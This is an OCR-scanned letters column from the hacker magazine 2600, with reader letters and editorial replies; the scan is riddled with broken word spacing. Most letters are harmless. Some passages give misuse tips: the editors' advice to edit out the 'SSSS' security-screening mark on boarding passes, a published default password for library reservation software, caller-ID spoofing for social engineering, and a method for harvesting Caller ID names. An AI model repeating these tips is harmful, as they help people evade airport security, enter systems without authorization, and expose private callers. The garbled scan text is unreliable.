The funny thi ng  is  students readi ly know p roxy­
avoidance sites. There have been severa l ti mes when 
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I've attempted to d isplay a website I found  whi le at 
home on ly to have it b locked here at school .  Exa mp le :  
eyesofnye .o rg .  It's a fricki n '  Bi ll Nye website but i s  
b locked for "M P3/Stream ing . "  Sa me goes for NASA TV. 
B ut my own students come to the rescue with a new 
website to avoi d the fi lter. What does that show you? 

Thanks fo r a n  en li ghteni ng  pub li cati on ,  and keep 
u p  the good work!  

Input 

Dear 2600: 
My haiku fo r you ,  
Wonderfu l b lissfu l pages 
Of knowledge and fun .  
Twenty Six H und red,  
You a re my one  drug of choice.  
Happy addicti on .  

Mr. K 

vyxenangel 
It's a doubLe haiku and a seLf-referentiaL one at  

that! 

Dear 2600: 
Last n ight I had a d ream that I ran a sma ll, i n de­

pendent magazi ne  si m i la r  to 2600. It was rea lly ha rd 
and  I woke up in a sweat. I can o n ly imag ine  what the 
rea l  th ing is  li ke. I want to thank  you guys for your  
years of conti n ued hard work  a nd  support of the com­
m u nity. The d reamers a re behi nd  you .  

Jeremy 

Dear 2600: 
J ust thought y'all might want to know that the pro­

duction  of boots is  u p  this yea r. 
runsetuid.root 

And just what we're supposed to do with this info is 
going to be the topic of discussion for some time. 

Dear 2600: 
Back in November of 2005,  I had my first experi ­

ence with 2600. I t  was  with a b i t  torrented copy of  
2 1 :4 .  I loved every second  I spent  read ing i t .  Why do I 
bri n g  this up?  Because accordi n g  to you r  magazine ,  the 
hacker mindset is  one  of explori n g  i nformation .  Of 
course, I never ca lled myself a hacker before and  I do 
n ot ca l l  myself one  now. I know it was wrong  to basi­
ca lly stea l you r  magazi ne .  For that I am  sorry. The dif­
ference between then a nd  now is  that now I know that 
2600 exists. Immediately after I read the downloaded 
issue,  I rushed out to my loca l Barnes and Noble a nd  
bough t  issue 22 : 2  and  have bought each issue si n ce 
then .  Ignorance is no excuse fo r what I did ,  but now I 
a m  i n  this for the long  hau l  and  wi ll buy each issue un ­
ti l I die o r  2600 stops p ub li s hi n g .  

Tha n ks for p utti ng  o u t  a qua lity magazine .  
Brad Hall 

We appreciate the support. It's what makes this 
thing of ours possibLe. 

Suggestions 

Dear 2600: 
I've been readi n g  you r  magazi n e  for about six years 

now and there have been plenty of ti mes when I could­
n 't remember  what issue a specifi c a rticle was in .  I re-

S U ll m e r  r O D E.  

cently encountered this problem again when I was try­
i n g  to pu ll the a rticle on quantum computi n g  from my 
back issues.  I just could n 't remember  for the life of me  
what  i s s ue  it was  i n .  

This p rob lem is  p retty i r ritati n g  t o  me  a nd  I've tried 
searchi ng  you r  s ite for "quantum computi n g . "  It turns 
u p  no resu lts, which I know is  bunk beca use I 've read 
the a rticle m u lti p le ti mes .  Is there a ny way you could 
make you r  a rticle listi n g s  from a ll the zi nes searchable 
o n li n e? It would be a massive convenience .  Thanks ,  a nd  
keep u p  the good  work. 

ThriLL 
This has aLways been a frustration for us as wel/. 

Every now and then someone offers to heLp put to­
gether a comprehensive index of our materiaL (Letters 
included) and they a Lmost aLways run a way screaming 
when they realize just how massive such a project winds 
up being. We hope to have some sort of searchabLe in­
dex on our site before too Long. For now, you can aL­
ways go to the search button at our online store 
(store. 2600. com) and search for topics there. 

Dear 2600: 
I' ll add to the req uest. I was readi n g  2 3 : 1  and  saw 

another request for a co lla red shi rt. I 'd be interested 
i n ,  say, a b lack 2600 po lo shi rt. Could be very usefu l. 

nitromatt 

Dear 2600: 
I know I might be the on ly person requesti n g  this .  I 

love you r  magazi n e  a nd  your  o n li ne  store, but ca n you 
make some big sizes of your  shi rts , li ke u p  to 6X? I 'd 
g lad ly pay extra for a 2600 shirt i n  my size. 

CerealKi ller 
As aLways, if there 's a decent amount of interest 

we'l/ pursue it. 

Dear 2600: 
Wouldn't it be app rop riate to change you r  adver­

tised p ri ce fo r a lifeti me  subscri pti on  from $260 .00 to 
$260 .0?  

Pointi lleux 
Since when do we do what's appropriate? 

A nother View 

Dear 2600: 
I subscribe  to a computer security forum a nd  have 

met a person who knew Kevi n "back in the day." And I 
have recently lea rned a little more about "poor, misun­
derstood" Kevi n Mitnick .  Did you know: 

a)  That he 'd  been ar rested as a j uven i le? And that 
by conti nu i ng  to engage i n  the ki n d  of behavio r  that 
had gotten h im ar rested as a j uveni le got i nto troub le 
(agai n )  with the law? 

b) That he  and/or his friends did in fact change the 
class of service on  home phones to payphones? 50 that 
whenever they picked u p  the receiver a recorded voice 
asked them to deposit twenty cents? 

c) That he  and his friends redi rected operator assis­
ta nce ca lls , a n sweri n g  them themselves? 

d )  That in 1981 he  p hysica lly b roke i nto a Pac-Bell 
office stea li n g  a list of Bell's COSMOS accounts? For 
which he  got th ree m onths i n  j uveni le ha ll? 

e) That they a lso did a lot of d u mpster divi n g  etc . ?  
Not a lot of hacki n g ,  but socia l  engineeri n g  a nd  theft? 
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f) That i n  the 90s when he was on the run  he sold 
home addresses etc . of the agents who chased h im ,  
posted a few stories about how they where convi cted 
ch i ld mo lesters, and other "non-malicious" acts? 

Did you a lso know that he  was p laced i nto "solitary 
confinement" not fo r what "the powers that be" were 
afraid that he wou ld/cou ld do but rather fo r h is  protec­
tion as the other "older" cons would not have looked 
too favo rab ly on him and wou ld have probably ki lled 
h im?  And that li ke the LO D (which I got the imp ression  
that he  was a mem ber of) a re/were racists? And that  
the blacks would have li kely wanted to ki ll h im as well? 

I'm sorry, but that ha rd ly sounds  li ke someone who 
is  a "sca pegoat/whi pp ing boy" fo r "the powers that be . "  
And it sounds  mo re li ke h e  got exactly what h e  
deserved .  

I 'm not sayi ng  t ha t  exploration  a nd  lea rn ing a re 
wrong  or a nyth i ng .  J ust that there a re some systems 
that shou ld not under any ci rcu msta nce be entered by 
those who do not have the legal right to access those 
systems .  

And I am  sorry if you  ca nnot understand that, o r  
that  brea ki ng  i nto a computer that  one  does  not have 
the legal right to access shou ld ca rry the sa me  crim ina l  
pena lty as if they physica lly b roke i nto someone 's  home  
o r  office. 

Also, if you 'd stop and thi n k  about it, you'd rea lize 
that every ti me  someone b reaks  i nto a computer sys­
tem/network that they do not have the legal right to 
access that they undermine/chi p away at the trust that 
the legiti mate users have/had in that system ,  as well as 
cast doubt on  the i ntegrity of thei r  data and/or any ex­
periments that they may be runn ing  at the time  of the 
brea k-i n .  I remind  you again of the cybercri mina l  that 
Cliffo rd Sto ll was tracki ng  who was b rea ki ng  i nto "h is"  
computer system - a person who was i ndiscrim inately 
sh utti ng  down any and  a ll p rocesses that looked as if 
they might have been "spyi ng "  on h im .  

So for a ll the com ments on  how  hacki n g  is  different 
and not li ke "real" crime ,  at the end of the day it would 
a ppear that Kevi n Mitnick was j u st a nother thief and  
con  man .  I f  you  don 't believe it ask h im to  have his j u ­
veni le reco rd . I 'm betti ng  as is  my friend  t ha t  he  won't 
do so beca use he  knows that it'll speak volumes about 
the type of person he  is/was .  

Digial_Cowboy 
It's really rather funny that we're still running into 

this kind of attitude so many years later. And also 
pretty sad when you consider that this is the mentality 
of a lot of people who can control the fate of those in 
trouble. Let's be clear. Even if someone were to do all of 
the things you mentioned above, it absolutely would 
not justify the kind of treatment Mitnick received. There 
is a rather barbaric attitude in our country that justifies 
everything from torture to lengthy prison stays simply 
because someone "broke the law. " Here's a newsf/ash: 
everyone breaks laws in some way. Much of it is very mi­
nor but if we follow the simpletons, every transgression 
defines us as criminals. And nobody cares what happens 
to criminals, right? 

Now, as to this specific case, you quote a lot of 
"facts "  without any kind of documentation other than 
meeting someone online who claims to have kno wn Mit­
nick back in the day. Did you really think that would 
somehow be enough to sway anyone? You heard what 

you wanted to hear but there 's simply no substance 
here. And that seems to have been the theme of the 
prosecution throughout the history of this case. 

We're not going to get into the whole house anal­
ogy thing yet again except to say that accessing a com­
puter without authorization just isn't the same thing as 
breaking into someone's house. But if it were, as you 
seem to think it should be, then the penalty should log­
ically be the same. If someone is 'just another thief and 
con man, " then why treat them as if they were a true 
criminal mastermind? You simply can 't have it both 
ways. 

Thanks for the entertaining allegations. They pro­
vided us with much amusement. And, for the record, 
that glaring typo in your name didn't come from us. 

Responses 

Dear 2600: 
This is i n  response to the letter i n  22 :4  about my a r­

ticle on AIM and  the Toe p rotocol. I 'm g lad that 2600 
decided to p rint  that because we both sha re a common  
goa l: sp readi ng  accu rate i n formation .  You had s ome  
points b u t  we  both fai led t o  mention  what TOe i s .  TOC 
(Ta lk to OSCAR) com m unicates between AOL's OSCAR 
servers/databases. You a lso said that the TOe p rotocol 
is  gone, which is  true but very unfai r to say. AOL i mple­
mented the TOC2 p rotocol afterwards which ba rely 
changed any of the existi ng  p rotocol. I bu i lt a base 
script that connected to AOL's OSCAR servers usi ng  the 
o rigi na l  TOC p rotocol. All com mands  a re i n  p lace and 
o n ly a few need a b it  of twea ki ng .  ( Fo r  a li st of changes, 
see http ://en .wikipedi a . o rg/wiki/TOC2_p rotocol. ) 

As fo r AO L not bei ng  ab le to do anyth ing  about th is ,  
they won 't, at least not feasi b ly. Forci ng  everyone to 
update thei r  client wou ld create a la rge amount of peo­
p le who did not know what to do to connect (based on  
how thei r  i n sta nt messagi ng  client is created) and  they 
would lose a considerab le user base. Too much anti ­
flood security has been  put  i n  place i n  the client p ro­
gram rather than i n  the server to save bandwidth .  You 
do have a point - one  could b lock everyone not on thei r  
buddy li st t o  prevent such an  attack, a lthough very few 
people do this cu rrently. 

Also, I don 't advocate people actua lly abus ing TOC 
to do somethi ng  li ke this .  If you 've read any 2600 you 
wou ld know that this com m unity ho lds the ethical re­
sponsibi lity mai n ly in the hands  of the person abusi n g  
s u c h  a servi ce, not the one  who  shows t h e  possib i lities 
to everyone  else.  

windwaker 

Dear 2600: 
I a lways get a kick out of your  covers and  the subtle 

tri bute to a g reat movie (as well as ou r  competitor) . . .  
t h e  B i g  Mac .  . .  WOPR . . .  awesome .  

But you know it's the fries that  b ri n g  'em i n  . . . .  
blakmac 

Dear 2600: 
What G lutton ca lls RGB stega nography i sn 't rea lly 

steganography at a ll. What he 's p roposi ng  is little more 
than typi ng  out a message in ASCII and  chang ing  the 
extension to J PG .  His o rigi na l  motivation  is  to avoid law 
enforcement snoopi n g  for h idden messages. B ut any 
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law enfo rcement unit sophisti cated enough  to be 
checki n g  fo r the i ntegrity of low-o rdered bits i n  a J PG is  
sure as heL l  goi n g  to notice a n  RG B "steganogra p hy" 
i mage.  

Also ,  h is  so lutions  a re rather  lacki n g .  The Mush  so­
lution  i s  poi ntless when we're talki n g  about " image­
sna rfi ng  bots . "  The Ti me  Consuming solution  isn't a 
so lution  at aLl - he is just sayi n g  that usi ng  sho rter 
messages i s  easier than usi ng  longer messages. His 
suggestion  and ana lysis of usi ng  1337sP33k  to 
strengthen a substitution  ci phe r  i s  mis leadi n g .  He  ca lls 
it  a " h uge stumb li n g  b lock" but it is nothi ng  of the so rt. 
J ust usi n g  256  characters, especia lly when you ' re goi n g  
t o  pu rposely choose t h em  to  visua lly resemble the 26 
a lphabet characters, offers no  mean ingfu l p rotection  
agai n st a sophisti cated cryptana lysi s .  

I strong ly recommend  against taki n g  any of the 
suggestions  i n  the a rticle serious ly. 

Kaige 

Dear 2600: 
In response to Jon  who works at McDona lds  ( 22 :4 ) ,  

I m ust take  i s sue  with his assertion  that  amateur  radio 
is  a hobby that ta kes a lot of money. In many ways, ra­
d io amateurs a re the epitome of hacki n g  i n  that many 
of us either bui ld ou r  own equi pment or convert 
"scrap . "  Obvious ly, equipment supp liers want us to buy 
the rig that's b ristli n g  with featu res and at a p rice to 
match.  It reaLly is possib le to bui ld a low power tra ns­
ceiver for $30 or less and  use it to make contact with 
other amateurs a round  the world . Check out 
http ://www.gqrp .com/ 

73 
devnull 

Dear 2600: 
In response to Sab 's letter in 22 :4  about download­

ing fi les via P2P  and  fi nd ing  a n umber of fi les a ll the 
same size (851 .7kb) ,  I have experienced the same 
thi ng .  I actua lly down loaded one  - my own fa u lt fo r not 
taki n g  due  di ligence and  noti ng  that the fi le seemed 
too sma ll to be what it clai med to be.  Lucki ly my vi rus 
sca n ner  caught it before any harm was done .  (Th an ks 
Avast ! )  

I have noticed this when down loadi ng  m usic files, 
m ovie clips ,  and programs .  I assume that some of the 
fi les a re put there pu rposely by those wanti n g  to "pun­
i sh "  others for potentia l  copyri g ht i nfri ngement. Some 
a re probably there due  to people downloadi ng  them 
from other  p laces, not notici ng  that  they a re suspi­
cious ,  and leavi ng  them i n  their sha red fo lder. And 
some a re there because I beli eve there is  probably at 
least one vi rus that wi ll rep li cate itself to the sha red 
fo lder on  a computer, knowi ng  that it i s  li kely to be 
downloaded by others. 

Education  and awareness a re you r  best defenses.  
Rely on  vi rus sca n ners o n ly as a backup to momenta ry 
lapses. 

CJ 

Dear 2600: 
This is in response to Sab 's letter in 22 :4  rega rdi ng  

the 851 . 7 kb fi les t ha t  can be found  a lmost a nywhere on  
Li meWi re. I tried LimeWire a whi le back  a nd  i gno ra ntly 
downloaded one  of these files, suspecti ng  that it was a 
program that I had requested .  Upon  runn ing  the p ro-

g ra m ,  a setup d ia log ( "i n no  setup" )  showed u p  and  a p­
pea red to be i n sta lli n g  somethi ng .  I tried to uni n stall it 
but it cou ldn 't be fou n d  i n  the "Add/Remove Programs "  
contro l panel, no r  cou ld a n  un installer be located .  Soon  
after, I was  not ab le to access my Task  Manager  th rough  
any means ,  some so r t  of spyware detecti on  a nd  p reven­
tion  software ca lled SpySheriff automatica lly i n sta lled 
itself, a nd  attempti n g  to use Internet Explorer a lways 
resu lted in a reboot (it opened wi ndow after wi n dow of 
hacki ng ,  cracki ng ,  and porn sites unti l the computer 
couldn 't h and le it anymore) .  I once let it run and it got 
to about 97 I E  wi n dows before my computer quit. The 
on ly way I could f ix this was to rei nstall Wi ndows, 
which resu lted i n  its own annoyances. So my advice i s  
to  comp letely steer c lea r of these fi les a nd  to use com­
mon sense  when usi n g  potentia lly ha rmfu l  software 
such as Li meWi re. 

DZ 
This unfortunately is a real risk whenever you down­

load anything from someone you don 't know or even 
those you do if they themselves haven 't been careful. 

Dear 2600: 
You r  last issue ( 2 3 : 1 )  had a fantasti c  cover. Props to 

whoever d rew the astronaut. The 600613 (google) was 
obvious  enough  but as fa r as why they're poi nti n g  
where they a re,  you 've go t  me on that one .  A s  fa r as the 
paper goes, it looks  li ke a n  APRS message from No rth 
Bellmore but I 'm su re there's more. Keep u p  the awe­
some work guys. 

Nucow 
Tha t  particular A PRS message was being relayed 

"via RSOISS" - or through the International Space Sta­
tion. The folks on ISS had also just kicked out a (sup­
posedly) empty spacesuit that was transmitting radio 
signals to anyone listening on Earth. Some things we 
just can 't make up. 

Dear 2600: 
The a rticle on hacki n g  PC Reservation  was awesome.  

I searched and  sca n ned for a long ti me usi n g  trusty o l' 
"i n u rl :pcres" .  The o n ly thi ng  is that I was o n ly ab le to 
fi nd  one  li brary that was vulnerable to this .  Most p laces 
had a lready h idden the file. H owever, some certai n li ­
braries ( name ly, the Chicago Publi c  Li bra ry) left the 
password at the defa u lt: envis ionwa re.  I found  th ree li ­
braries li ke this .  Also ,  a re you p redicti n g  Google will 
ta ke over the earth this year? Maybe put a n ew defi ni­
ti on  to "Google Earth"? (Someone s hoot me  for sayi ng  
that.) 

FelixAlias 

Dear 2600: 
In 2 3 : 1 , David L. asked for 2600 to offer co lla red 

shi rts because the ISP where he  worked requ i red col­
la red shi rts on their  emp loyees. I ' l l bet they make h im 
wear  shoes too. The tri ck  is  to use some imagination  
when  app lyin g  The Ru les. 

Whi le the ru les say he  m ust wea r a collared shi rt, 
I ' l l bet it doesn 't say he  can 't  wea r a t-sh i rt overthe col­
lared shi rt. In fact, if David gets a co lla red sh i rt at h is  
loca l th rift store that is  the same color as the t-sh i rt 
he 's  tryi n g  to wea r at work, the h igher  ups  may not 
even notice. It doesn 't matter if the co lla red sh i rt h e  
picks u p  h a s  ho les i n  i t ,  o r  a logo from some corpora­
tion  o r  club he 'd  never thi n k  of bei n g  a part of. Its p u r-
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pose is to be covered by the sh i rt he really wants to 
wea r. 

I don 't wea r "tan k-top" shi rts but I ' l l  wear one  over 
another  sh i rt if the desi gn  is  somethi n g  I'm into. Most 
people don't noti ce (I 've got a couple of NASCAR shi rts 
li ke this) . In fact, the ta n k  top lets me wea r a sh i rt with 
a tie if I need to with much  of the tie s howi n g .  When 
the sh i rt desi gn  i s  appropriate to the day ' s  events, I 
usua lly get away with it. It sti ll helps to match the col­
la red shi rt with the sh i rt of choice.  

Cheshire Catalyst 

Dear 2600: 
I j ust saw you r  response to my a rticle about AIM 

eavesdroppi ng  ( 2 2 : 2 ) .  When logg ing  in under  two dif­
ferent public  IP add resses, you a re completely correct. 
H owever, that was not the scenari o  I was discussi n g .  
This p rob lem occurs when  both i nsta nces of AIM a re 
connecti n g  via the sa me pub lic  IP add ress, such as on  
the same computer o r  both  computers bei ng  behi nd  a 
NAT router. 

G ranted , this i sn 't as bad an attack as it would be if 
it worked with each i n stance havi ng  its own publi c  IP 
add ress, but there i s  sti ll some snooping potentia l  with 
this if someone gets i nside  your  netwo rk. 

George 

Dear 2600: 
This message is in response to "Techno-Exegesis" i n  

2 3 : 1 .  Although  I can't spea k about a few items i n  the 
a rti cle, I feel that I can address com ments made about 
In-Band On Channe l  (IBOC) for radio .  

I have been  i nvolved i n  one  fo rm o r  another  with 
IBOC si nce the late 90s and fi nd  some of the things dis­
cussed i n  the a rticle as i naccurate o r  at the very least 
skewed toward the author's views on  the matter. The 
author i s  right  when he  states that com mercia l  stations  
that say HD Rad io  is h igh-defi nition  a re not telli ng  the  
truth . The a uthor  i s  i naccurate when he  states that  HD 
Rad io  sta nds  fo r Hybrid  Digita l Radio .  i Biquity, the de­
veloper of HD Radio Techno logy says that " H D "  does not 
sta nd fo r a nyth ing .  If he were to do a web sea rch fo r 
"what does H D  Radio stand  for" he could have found  
that  out. 

He a lso states that HD Radio does not he lp the au­
dio qua lity. I don 't thi n k  he  has even h ea rd what  HD Ra­
dio sounds  li ke. I've heard the sound difference 
between ana log and digita l AM and FM stations .  AM 
sounds  li ke a n  FM station and  FM sounds  li ke a CD .  In 
FM,  HD Radio opens  up  you r  ears to a new experience, 
li ke taki n g  b li nde rs off and  seei n g  everyth ing you 
d idn 't see before. 

When b roadcasters add additi ona l  c hannels, the 
qua lity of each one wi ll decrease .  But I doubt b road­
casters wi ll make the audio sound "crappy, " as  the au­
thor  put i t .  The tota l bandwidth a llotted for HD i s  96k  
for FM . Even if you sp lit that  i n  two (one  main  channe l  
and  one  side  chan ne l) you ' re sti ll heari n g  better than 
C D  qua lity (44 . 1 k ) .  

Usi n g  H D  Radio t o  mu lticast can a lso a llow stations  
to b roadcast side channels that otherwise could n 't be 
heard .  Imagine the abi lity for WBAI, the station  that 
a i rs Off The Hook, to have another  chan nel .  There could 
be a two hou r  versi on  of Off The Hook every week li ke 
a ll fans  of the s how want. Other ma rkets a re getti ng  or 
will get formats that a re not avai lable. In New York, for 

exa m ple, a station  is usi n g  its H D 2  channel to b road­
cast country m usic, somethi ng  not heard i n  New York 
City fo r yea rs. Some stations  p lan  on  addi ng  more loca l 
content or even BBC  World Service, somethi ng  the au­
thor  sa id  would be lost when they turn off  sho rtwave. 
He a lso states that the enti re ana log b roadcast wi ll go  
away and  wi ll leave bil li ons  of radios outdated.  Th i s  wi ll 
mo re than li kely happen but not in ou r  lifetimes .  Why 
would a b roadcaster not want someone to hear thei r  
station?  There a re way too many ana log  radios o ut 
there to th row the baby out with the bath water so  
soon .  

T hen  he  th rows i n  " t he  th reat of rig hts management 
of di gita l rad io"  as a concern . Let  me  te l l  you that ,  un ­
li ke satellite radios, H D Rad io  is non-addressab le which 
makes rights management unmanageable.  It may seem 
that I have drunk the HD Radio Kool-Aid but rest as­
su red I am  a broadcaster, b roadcast engineer, and a 
hacker. I j ust want to make s u re that the i naccu racies 
a re poi nted out. Even though  readers of 2600 don 't be­
lieve everythi ng  they read ,  I don't want them to read 
th ings that a re flat out not true. 

I have developed a lot of respect fo r you r  magazi ne  
over the six p l u s  years I've been  read ing  it and  don 't 
want it to loose credibi lity because of someone who 
doesn 't seem to have proper i nfo rmation  about H D  
Radio to write critically about it. 

hypo boxer 
A va ilable data bandwidth and a CD's sample rate are 

two entirely different things. One refers to how much 
bandwidth is available for the proprietary digital audio 
encoding of which we know little, while the other is 
how many samples per second are taken of the ra w au­
dio waveform. A good example of this is how MP3s have 
two distinct parameters: bit rate and sample rate. Even 
with the best audio compression technology, a 96k 
compressed audio stream is of far lower quality than a 
wideband FM signal. 

As far as reducing the quality of the conventional 
broadcast signal, it's simply a matter of available band­
width. You can only shove so much into each allocated 
channel. and most commercial stations are already 
overstepping their legal bounds. As demand for iBiq­
uity's HD mode increases, broadcasters will be forced to 
look into impeding upon other parts of their signal, in­
cluding the stereo separation DSSC signal. 

The rights management concerns were never 
claimed to apply to HD radio. However, being a hacker 
yourself, you can surely appreciate the licensing con­
cerns that do apply directly to this technology. How can 
we be expected to learn from closed, proprietary tech­
nology with high licensing fees? 

Dear 2600: 
In reference to the a rticle "Hacker Perspective" by 

The Cheshi re Cata lyst in 2 3 : 1 ,  as much  as we in Vermont 
wou ld love to cla im Dartmouth Co llege as ou r  own, it i s ,  
i n  fact, i n  New Hampsh i re ( Hanover) and  has been 
there for q uite some ti me .  So,  a lthough  we ca n cla im 
starti n g  the gay-union craze here i n  the States, lots of  
"he ' s  not my p resident" stickers on  old micro-busses 
and Suba rus, H oward Dean's g rass roots campaign ing ,  
the  on ly state capita l without a McDona ld ' s ,  and  decla r­
i n g  wa r on Germany before the federal  "guberment" i n  
WWII, w e  can n o t  clai m ,  unfo rtunately, that w e  i n ­
vented BASIC. 
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Alas ,  not even Kemeny or Kurtz, the creators of BA­
SIC, were from Vermont. At least accordi ng  to Wikipedia 
( not that that p roves anythi n g ) .  

Also, I m ust hea rtily object t o  2600's edito ri a l  staff 
removi n g  the bold weight  from the font used to desig­
nate the g reat sma ll state of Vermont i n  the meeti ngs  
li st. H ow dare you  lump us i n  with Uta h !  

Please show us some love and  repai r this eg regi ous 
error. 

As fo r this Chesh i re Cata lyst person ,  p lease force 
you rself to go out and  buy some of ou r  awa rd wi nn ing  
cheeses as a fi ne .  I f  you  do ,  we will forgive you .  

Nick 

More Info 

Dear 2600; 
This is a quick update rega rdi ng  Pizentios '  letter i n  

2 2 : 4  about t h e  draconian Bil l  C-74 that was goi n g  
th rough  Canadian Parli ament a round  November 2005 
requ i ri n g  ISPs to i n stall monitori ng  softwa re. Due to 
the government's fa ll on  November  29 ,  that bill i s  dead .  
Furthermore, Anne McLella n ,  the Member  of Parliament 
who tab led the bi lL was defeated i n  the last electi on ,  
so she  ca n 't persona lly rei ntroduce i t .  J ust so you  know 
and don 't lose s leep over that pa rticu la r  bi ll. 

Sti ll though ,  due to the fact we now have a Conser­
vative m inority in power that has shown a lready it is  
wi lli n g  to do biza rre thi ngs  i n  the name of "secu rity" 
(see the so-ca lled "Arctic Sovereignty Plan "  where they 
p la n  on putti ng  a la rge mi lita ry presence way up  
North ) ,  expect si mi la r  thi ngs  j ust as bad to be i ntro­
d uced in the comi ng months .  We a ll need to keep ou r  
eyes a nd  ea r s  open and  ca l l  ou r  representatives on  thei r  
bu llshit. I know I wi ll. 

Aendrew 

Dear 2600: 
Here is somethi ng  I found  at http ://www.g uita r 

.. site . com/tun ing . htm whi le checki n g  out guitar sites. 
" Ever been stuck without a n  electronic tuner, pitch­

pipe, o r  a ny method of getti ng  your  i n strument i n  tune,  
when you 'd do j ust about anyth ing  to get a reference 
tone? No  p roblem, j ust pick u p  the phone ,  and li sten to 
the d ia l  tone !  It's very close to an " F" note, anywhere i n  
the United States, a nd  maybe i n  s ome  other countries ,  
too. G uita r p layers can use this " F" note to tune the 
f i rst  stri n g  at the fi rst fret, then j ust tune the rest of 
you r  guita r to that stri n g .  Ca ll it a Teletuner ! "  

sc 
Yet another use for the phone network. We have to 

wonder though how many people who use cell phones 
exclusively even remember what a dial tone sounds like. 

Dear 2600; 
I would li ke to report that you r  p ri nter appears to 

be usi ng  a machi ne  that a utomatica lly waterma rks 
p ri ntouts fo r tracki n g  pu rposes (sim i la r  to the Xerox 
scheme uncovered recently) . A specifi c exa mp le of this 
can be found  on  the table of contents page of 2 3 : 1  un­
der  "visions . "  I i nitia lly thought it was a hidden email 
add ress, but as the text p recedi ng  @2600 is  i mpercep­
ti b ly sma ll, we m ust assume that this is  a nefa rious  
scheme.  

Also,  i n  response to the gentlemen tryi ng  to sa l­
vage thei r  relationsh ips  by hacki n g  i nto and  spyi n g  on 

thei r  sig nifi ca nt others '  hotmail accou nts, they shou ld 
consider usi n g  g mail .  As gmai l  is so difficu lt to log out 
of, they're bound to run  across an  active sessi o n .  

meatwad 

Advice Sought 

Dear 2600; 
Livi n g  i n  a desert a rea,  a local ha i r  salon is expand­

i n g  to  i n clude an  Internet hot spot, na i ls ,  a n d  overall 
spa. It's located i n  the heart of our sma ll downtown . 
Bei ng  a friend  of the owner I was g ranted the task of 
i n stalli n g  the network a nd  loca l termi na ls - fo r a fee of 
course. He wa nts it wi reless for the stations  where cus­
tomer access PCs wi ll be,  but you and I know encryption  
can be si mp ly defeated with down loadab le tools. I sha ll 
do my best to i n sist on everythi ng  bei ng  ha rd wi red ,  
even if it means  turni ng  the 2x4s i n  the wa ll to Swiss 
cheese. The business network needs to be closed ci rcuit 
and offli ne  but he  wants to connect them to the same  
network as the customer  termina ls .  He  dose  n ot grasp 
what could happen to his sensitive busi ness and  cus­
tomer  data if someone li ke me wou ld be ab le access it 
through the network so I a m  stuck with a d i lem ma here .  
I could d i smiss  the job  and  take no  responsib i lity and  
lose a friend ,  o r  I would be the one  to b lame  if some­
th ing bad happened .  

Imegabyte 
You need to be able to demonstrate exactly wha t  

the risks are. A wireless h o t  spot is fine for people with 
their own laptops who know how to use secure pro­
grams and are awa re of the possibility of man in the 
middle attacks. But it makes no sense at all to stick a 
business network in the same place as a customer net­
work. This mistake is made unintentionally quite often 
so it's doubly absurd to do it on purpose. All of the fire­
wall protection in the world is meaningless if people 
can just use WiFi to pop up on the inside. This kind of 
risk is really easy to demonstrate so we suggest you do 
that. Have a solution in mind that addresses your secu­
rity concerns along with his business ideas. If you still 
don 't get anYWhere, you've done all you can do. 

Dear 2600; 
I thought  when d ia li ng  out from my Asteri sk  box 

that setti ng  my outgoi ng  C LID usi n g  the "NAME"  <xxx­
xxx-xxxx> syntax would a llow me to dictate what the 
NAME portion  said .  Say fo r i n stance, I set it to : t  "FUCK 
O FF" <800-555-5565> and  then dia led out ,  the receiver 
of the call s hou ld see the fuckoff. But they don 't. They 
see the n umber a nd ,  if it's a valid n u mber, they see the 
correct name that corresponds to it. Is that somethi ng  
native to  Connecticut o r  i s  t ha t  how it a lways is? I can 't 
help but thi n k  it's j ust a "my a rea" th ing because Aster­
isk gives you the oppo rtunity to specify it. Why would 
they do that uselessly? 

Also note that I 'm ta lki ng  about in the trun k  set­
ti ngs ,  not the extensi on .  The extension  so fa r as I know 
on ly counts for i nteroffice ca lls to other extensions .  It 
uses the i n fo specified i n  the trunk .  There's a lot of fun 
to be had with this .  Don 't forget, you ' re an Asteri s k  live 
CD and  a 5 . 99  Te laSi p (paid fo r with PayPa l) account 
away from spoofi n g  ca lls for whatever soci a l  engineer­
i n g  p roject you ' re worki n g  on .  

Symantic 
This has actually become a very useful tool for 
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discovering the identity of phone numbers. What hap­
pens is that a lookup is performed when the incoming 
call arrives at  your central office. The number that ap­
pears on the Caller ID is matched with the correspond­
ing name and then both are sent to the called party. In 
some parts of the country and with some phone compa­
nies, this only works if the Caller 10 number is local. In 
other cases it works nationwide. This is significant in 
that the vast majority of individuals never bother to re­
move their name from this field. If you have an unlisted 
number, you still have a name listed in the Caller 10 
Name field. Tha t  name can be accessed by anyone who 
can alter the Caller 10 field and have the lookup per­
formed. This is a completely passive system as well. You 
will never know if someone has just done this to you as 

your phone isn't accessed. You could theoretically set 
up a machine to "scan"  by making thousands of calls to 
a number that would then record the phone numbers 
and corresponding names. This could even be done 
without a call ever being completed since Caller 10 data 
is transmitted between the first and second rings. The 
biggest snag would probably be software somewhere 
a long the line that would freak out at seeing so many 
calls from different numbers all coming from the same 
account. But for finding out who an occasional phone 
number belongs to, this is an invaluable service. 

As to what Asterisk should be doing in your case, it 
would probably work the way you wanted it to if the 
above lookup weren't being performed. As this is being 
done in more instances these days, it's likely that this 
feature of theirs worked more in the past and will work 
less in the future. 

Dear 2600: 
It seems li ke every time I p u rchase a one  way ticket 

via Southwest that I'm getti n g  security screened be­
cause of the "SSSS" on  my ticket. Any suggestions  fo r 
bypassi ng  this? I wish  they'd rea lize that sometimes 
one  way is j u st cheaper. 

dNight 
If the airline offers the service, simpLy print out 

your boarding pass at  home. If it actually prints the 
"5555" there (we've never heard of it happening when 
printing at  home), you can always do some Photoshop 
magic and get rid of it. Even xeroxing the paper and 
covering it up would work as they only really care about 
the barcode on the boarding pass. You used to be able 
to go up to a machine at  the airport and request a sec­
ond boarding pass (to replace the one you lost) and of­
ten the extra security designation wasn't printed. They 
seem to have finally caught on to this. Finally, you can 
always go to a human and ask for another boarding 
pass. Be a ware though that humans have been worse 
than machines lately in this department. 

Dear 2600: 
I am 18 a nd  livi ng  with my pa rents - hopefu lly not 

fo r long  - a nd  I j ust subscribed to 2600 about a week 
ago. My mother was concerned about 2600 and com­
mon ly misunderstood hackers as u nethica l people.  I 
tri ed to expla in  to he r  that some " h ackers" a re unethi­
cal but not al l  hackers a re li ke this .  Then she  brought  
u p  a point that I found  difficu lt to defend  against. She 
asked how is  it  ethical  when you a re revea li ng  secu rity 
vulnerab i lities to the pub li c  and  leavi ng  them open fo r 
crim ina ls .  I rep lied that "it i n c reases the i ntelligence 

and  awareness of the ethi ca l hacki n g  com m unity." "But  
